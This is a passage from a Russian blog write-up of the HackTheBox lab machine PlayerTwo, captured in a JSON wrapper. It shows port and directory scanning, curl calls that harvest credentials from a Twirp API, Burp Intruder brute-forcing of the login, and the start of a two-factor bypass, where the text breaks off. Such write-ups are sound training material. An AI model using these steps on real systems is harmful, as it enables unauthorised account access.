{"id":306018,"date":"2020-06-27T15:00:11","date_gmt":"2020-06-27T15:00:11","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=306018"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=306018","title":{"rendered":"HackTheBox. \u041f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 PlayerTwo. Twirp, 2FA bypass, Off-By-One \u0430\u0442\u0430\u043a\u0430"},"content":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\" data-io-article-url=\"https:\/\/habr.com\/ru\/post\/508348\/\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/xc\/l8\/le\/xcl8lej07_u4j1dwdfymsdpyzt4.png\"><br \/>  \u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e \u0440\u0435\u0448\u0435\u043d\u0438\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0434\u043e\u0440\u0435\u0448\u0438\u0432\u0430\u043d\u0438\u0435 \u043c\u0430\u0448\u0438\u043d \u0441 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0438 <a href=\"https:\/\/www.hackthebox.eu\" rel=\"nofollow\">HackTheBox<\/a>. <\/p>\n<p>  \u0412 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u043c \u0441 API twirp, \u043e\u0431\u0445\u043e\u0434\u0438\u043c \u0434\u0432\u0443\u0445 \u0444\u0430\u043a\u0442\u043e\u0440\u043d\u0443\u044e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u043c\u043e\u0434\u0435\u0440\u043d\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043a\u0443\u0447\u0443 \u0447\u0435\u0440\u0435\u0437 \u0430\u0442\u0430\u043a\u0443 null byte poisoning (P.S. \u043f\u0440\u043e Heap \u0435\u0449\u0435 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c <a href=\"https:\/\/xss.is\/threads\/38556\/\" rel=\"nofollow\">\u0437\u0434\u0435\u0441\u044c<\/a>).<\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f<\/b>                         <\/p>\n<div class=\"spoiler_text\">\u0427\u0442\u043e\u0431\u044b \u0432\u044b \u043c\u043e\u0433\u043b\u0438 \u0443\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u043e \u043d\u043e\u0432\u044b\u0445 \u0441\u0442\u0430\u0442\u044c\u044f\u0445, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0438 \u0434\u0440\u0443\u0433\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u044f \u0441\u043e\u0437\u0434\u0430\u043b <a href=\"https:\/\/t.me\/RalfHackerChannel\" rel=\"nofollow\">\u043a\u0430\u043d\u0430\u043b \u0432 Telegram<\/a> \u0438 <a href=\"https:\/\/t.me\/RalfHackerPublicChat\" rel=\"nofollow\">\u0433\u0440\u0443\u043f\u043f\u0443 \u0434\u043b\u044f \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u043b\u044e\u0431\u044b\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432<\/a> \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0418\u0438\u041a\u0411. \u0422\u0430\u043a\u0436\u0435 \u0432\u0430\u0448\u0438 \u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u043e\u0441\u044c\u0431\u044b, \u0432\u043e\u043f\u0440\u043e\u0441\u044b, \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 <a href=\"https:\/\/t.me\/hackerralf8\" rel=\"nofollow\">\u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u044e \u043b\u0438\u0447\u043d\u043e \u0438 \u043e\u0442\u0432\u0435\u0447\u0443 \u0432\u0441\u0435\u043c<\/a>.<br \/>  <a name=\"habracut\"><\/a><br \/>  \u0412\u0441\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432 \u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0446\u0435\u043b\u044f\u0445. \u0410\u0432\u0442\u043e\u0440 \u044d\u0442\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u043d\u0435 \u043d\u0435\u0441\u0451\u0442 \u043d\u0438\u043a\u0430\u043a\u043e\u0439 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0437\u0430 \u043b\u044e\u0431\u043e\u0439 \u0443\u0449\u0435\u0440\u0431, \u043f\u0440\u0438\u0447\u0438\u043d\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043c\u0443-\u043b\u0438\u0431\u043e \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0437\u043d\u0430\u043d\u0438\u0439 \u0438 \u043c\u0435\u0442\u043e\u0434\u043e\u0432, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430.  <\/div>\n<\/p><\/div>\n<p>  <\/p>\n<h2>Recon<\/h2>\n<p>  \u0414\u0430\u043d\u043d\u0430\u044f \u043c\u0430\u0448\u0438\u043d\u0430 \u0438\u043c\u0435\u0435\u0442 IP \u0430\u0434\u0440\u0435\u0441 10.10.10.170, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044e \u0432 \/etc\/hosts.  <\/p>\n<pre><code class=\"plaintext\">10.10.10.170    playertwo.htb<\/code><\/pre>\n<p>  \u041f\u0435\u0440\u0432\u044b\u043c \u0434\u0435\u043b\u043e\u043c \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u043c \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435 \u043f\u043e\u0440\u0442\u044b. \u0422\u0430\u043a \u043a\u0430\u043a \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u0435 \u043f\u043e\u0440\u0442\u044b nmap\u2019\u043e\u043c \u0434\u043e\u043b\u0433\u043e, \u0442\u043e \u044f \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0434\u0435\u043b\u0430\u044e \u044d\u0442\u043e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e masscan. \u041c\u044b \u0441\u043a\u0430\u043d\u0438\u0440\u0443\u0435\u043c \u0432\u0441\u0435 TCP \u0438 UDP \u043f\u043e\u0440\u0442\u044b \u0441 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 tun0 \u0441\u043e \u0441\u043a\u043e\u0440\u043e\u0441\u0442\u044c\u044e 500 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0432 \u0441\u0435\u043a\u0443\u043d\u0434\u0443.  <\/p>\n<pre><code class=\"bash\">masscan -e tun0 -p1-65535,U:1-65535 10.10.10.170 --rate=500<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/rp\/qv\/l9\/rpqvl9vwfplhzacqx57devvp1wq.png\"><\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0431\u043e\u043b\u0435\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 \u043f\u043e\u0440\u0442\u0430\u0445, \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441 \u043e\u043f\u0446\u0438\u0435\u0439 -\u0410.<\/p>\n<pre><code class=\"bash\">nmap -A playertwo.htb -p22,80,8545<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/hq\/yt\/qm\/hqytqmhkozrut51gqombiw-1fla.png\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043c\u044b \u0438\u043c\u0435\u0435\u043c SSH \u0438 Apache \u043d\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043f\u043e\u0440\u0442\u0430\u0445, \u0438 \u0432\u0438\u0434\u0438\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 twirp_invalid_route \u043e\u0442 \u0441\u043b\u0443\u0436\u0431\u044b, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 8545 \u043f\u043e\u0440\u0442. \u041a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e \u0432 \u0442\u0430\u043a\u0438\u0445 \u0441\u043b\u0443\u0447\u0430\u044f\u0445, \u0437\u0430\u0445\u043e\u0434\u0438\u043c \u043d\u0430 \u0432\u0435\u0431.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/d3\/tm\/q8\/d3tmq8vbq_plcqj_gbkpsr6dnmq.png\"><\/p>\n<p>  \u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u043e\u0448\u0438\u0431\u043a\u0443 \u0438 \u043a\u043e\u043d\u0442\u0430\u043a\u0442, \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0434\u0430\u043d\u043d\u043e\u0435 \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0435 \u0438\u043c\u044f \u0432 \u0444\u0430\u0439\u043b \/etc\/hosts \u0438 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e \u0437\u0430\u0439\u0434\u0435\u043c \u043d\u0430 \u0441\u0430\u0439\u0442.<br \/>  <code>10.10.10.170 player2.htb<\/code><br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ds\/0q\/z1\/ds0qz1rxdztcm88c-3q_zd61glo.png\"><\/p>\n<p>  \u0418 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u0441\u0430\u0439\u0442, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0444\u043e\u0440\u043c\u0443 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0438\u0436\u0435. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0435\u0449\u0435 \u043e\u0434\u043d\u043e \u0434\u043e\u043c\u0435\u043d\u043d\u043e\u0435 \u0438\u043c\u044f \u0432 \/etc\/hosts \u0438 \u043e\u0431\u0440\u0430\u0442\u0438\u043c\u0441\u044f \u043f\u043e \u0434\u0430\u043d\u043d\u043e\u043c\u0443 \u0430\u0434\u0440\u0435\u0441\u0443.<br \/>  <code>10.10.10.170 product.player2.htb<\/code><br \/>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/cl\/fb\/ml\/clfbmle-hzkfdclflbrcowkq8ii.png\"><\/p>\n<p>  \u041f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0435 \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u0442\u0435\u0445\u043d\u0438\u043a\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u043c, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438. \u042f \u0434\u0435\u043b\u0430\u044e \u044d\u0442\u043e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e gobuster. \u0412 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u0445 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043f\u043e\u0442\u043e\u043a\u043e\u0432 128 (-t), URL (-u), \u0441\u043b\u043e\u0432\u0430\u0440\u044c (-w) \u0438 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u044e\u0442 (-x).  <\/p>\n<pre><code class=\"bash\">gobuster dir -t 128 -u player2.htb -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x html,php,txt<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/g-\/t5\/gt\/g-t5gtddkvtteehyptvi4jwdnoe.png\"><\/p>\n<pre><code class=\"bash\">gobuster dir -t 128 -u product.player2.htb -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x html,php,txt<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/my\/3l\/av\/my3lav3lfddojtsebv-gegeuf14.png\"><\/p>\n<p>  \u0422\u0430\u043a conn.php \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0432\u0435\u0440\u043d\u0435\u0442, \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e \u043d\u0443\u0436\u0435\u043d \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440. \u041a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 proto \u0434\u043e\u043b\u0436\u043d\u044b \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f .proto \u0444\u0430\u0439\u043b\u044b (\u043c\u043e\u0436\u043d\u043e \u0443\u0437\u043d\u0430\u0442\u044c \u0434\u0430\u0436\u0435 \u0437\u0430\u0433\u0443\u0433\u043b\u0438\u0432). \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0438\u0449\u0435\u043c \u0438\u0445.  <\/p>\n<pre><code class=\"bash\">gobuster dir -t 128 -u player2.htb\/proto -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x proto<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/qq\/uq\/cj\/qquqcjt3knjapgmhd8pxlbtbug0.png\"><\/p>\n<p>  \u0418 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u043e\u0434\u0438\u043d \u0444\u0430\u0439\u043b.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/b8\/us\/rm\/b8usrmo4nczrbre0a33b7zzgbee.png\"><\/p>\n<h2>Twirp<\/h2>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f twirp, \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c <a href=\"https:\/\/github.com\/twitchtv\/twirp\" rel=\"nofollow\">\u043d\u0430 github<\/a>. \u0412 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043f\u0443\u0442\u044f\u0445 \u0432 twirp \u0438 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/b_\/sa\/v9\/b_sav9bgsnubhoiyete2jtu0qmc.png\"><\/p>\n<p>  \u041a\u0430\u043a \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0438\u0437 \u0444\u0430\u0439\u043b\u0430 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438, \u0432 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043e\u0431\u0440\u0430\u0449\u0430\u0442\u044c\u0441\u044f \u043c\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u043f\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c\u0443 \u043f\u0443\u0442\u0438:  <\/p>\n<pre><code class=\"bash\">\/twirp\/twirp.player2.auth.Auth\/GenCreds<\/code><\/pre>\n<p>  \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c curl, \u043a\u0430\u043a \u0441\u043a\u0430\u0437\u0430\u043d\u043e \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438.  <\/p>\n<pre><code class=\"bash\">curl --request &quot;POST&quot; --location &quot;http:\/\/player2.htb:8545\/twirp\/twirp.player2.auth.Auth\/GenCreds&quot; --header &quot;Content-Type:application\/json&quot; --data '{}' ; echo<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ut\/tg\/qe\/uttgqeqtwbnpt0tse0r9nf5yu3m.png\"><\/p>\n<p>  \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0432\u0442\u043e\u0440\u043e\u0439 \u0440\u0430\u0437, \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/1g\/47\/gr\/1g47grf-bhlhtnkadra-3knzhny.png\"><\/p>\n<p>  \u0414\u043b\u044f \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b \u0437\u0430\u043f\u0440\u043e\u0441 10 \u0440\u0430\u0437 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b 4 \u0440\u0430\u0437\u043d\u044b\u0435 \u043f\u0430\u0440\u044b \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.  <\/p>\n<pre><code class=\"bash\">for ((i=0; i&lt;10;i++)) do curl --request &quot;POST&quot; --location &quot;http:\/\/player2.htb:8545\/twirp\/twirp.player2.auth.Auth\/GenCreds&quot; --header &quot;Content-Type:application\/json&quot; --data '{}' ; echo ; done<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/cq\/7p\/en\/cq7penkaseed06hkocpvy3pledo.png\"><\/p>\n<p>  \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0439 \u0434\u0430\u043d\u043d\u044b\u0435, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 4 \u0440\u0430\u0437\u043d\u044b\u0445 \u043b\u043e\u0433\u0438\u043d\u0430 \u0438 4 \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u0430\u0440\u043e\u043b\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0432 \u0432\u044b\u0432\u043e\u0434\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u0432 \u043d\u0435\u043f\u043e\u043d\u044f\u0442\u043d\u043e\u043c \u043f\u0435\u0440\u0435\u043c\u0435\u0448\u0430\u043d\u043d\u043e\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u0435. \u0412\u0435\u0440\u043d\u0435\u043c\u0441\u044f \u043a \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438, \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u043b\u043e\u0433\u0438\u043d\u044b \u0438 \u043f\u0430\u0440\u043e\u043b\u0438, \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u0438\u0445 \u043f\u0435\u0440\u0435\u0431\u0440\u0430\u0442\u044c. \u042f \u0431\u0443\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c Burp. \u041f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0438\u043c \u0437\u0430\u043f\u0440\u043e\u0441, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043c \u0432 Intruder \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/p2\/z4\/pq\/p2z4pqm-oramaummbvbroxa8che.png\"><\/p>\n<p>  \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0430\u0442\u0430\u043a\u0443, \u0441\u043e\u0440\u0442\u0438\u0440\u0443\u0435\u043c \u0432\u044b\u0432\u043e\u0434 \u043f\u043e \u0434\u043b\u0438\u043d\u0435, \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0432\u0430\u043b\u0438\u0434\u043d\u044b\u0435 \u043f\u0430\u0440\u044b \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/9t\/cx\/ed\/9tcxed91lmyvqq_a-kegcu5aq2e.png\"><\/p>\n<p>  \u041d\u043e \u043f\u0440\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0435 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f, \u0443 \u043d\u0430\u0441 \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u044e\u0442 OTP (\u043e\u0434\u043d\u043e\u0440\u0430\u0437\u043e\u0432\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c)! <\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/wi\/pi\/sz\/wipisz3db62iegcb39no1fxpy2c.png\"><\/p>\n<h2>\u041e\u0431\u0445\u043e\u0434 2FA<\/h2>\n<p>  \u0422\u043e \u0435\u0441\u0442\u044c \u043d\u0430\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0431\u043e\u0439\u0442\u0438 \u0434\u0432\u0443\u0445-\u0444\u0430\u043a\u0442\u043e\u0440\u043d\u0443\u044e \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e. \u0412 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f TOTP (<a href=\"https:\/\/ru.wikipedia.org\/wiki\/Time-based_One-time_Password_Algorithm\" rel=\"nofollow\">Time-based One-time Password<\/a>).<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/6d\/96\/cm\/6d96cms2sdem2kv5bmr1mt4cjvc.png\"><\/p>\n<p>  \u041d\u0430 \u0434\u0430\u043d\u043d\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u044f \u0437\u0430\u0441\u0442\u0440\u044f\u043b \u0438 \u0432\u0435\u0440\u043d\u0443\u043b\u0441\u044f \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0441\u0432\u043e\u0439 to-do \u043b\u0438\u0441\u0442, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c, \u043a\u0430\u043a\u0438\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u044f \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b, \u0438 \u0432 \u0433\u0440\u0430\u0444\u0435 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0439 \u0431\u044b\u043b\u0430 \u043d\u0435 \u043e\u0442\u043c\u0435\u0447\u0435\u043d\u0430 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u044f api. \u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0434\u0430\u043b\u043e. \u041d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u043e\u0433\u0443\u0433\u043b\u0438\u0432, \u0431\u044b\u043b\u043e \u043d\u0430\u0439\u0434\u0435\u043d\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u0432 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \/api\/totp. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/p1\/pk\/v4\/p1pkv4xgyicilc77nni2w3vg8fg.png\"><\/p>\n<p>  \u0418 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u043d\u0438\u0442\u043e\u0447\u043a\u0443, \u0437\u0430 \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0443\u0446\u0435\u043f\u0438\u0442\u044c\u0441\u044f. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c \u0442\u043e\u0442 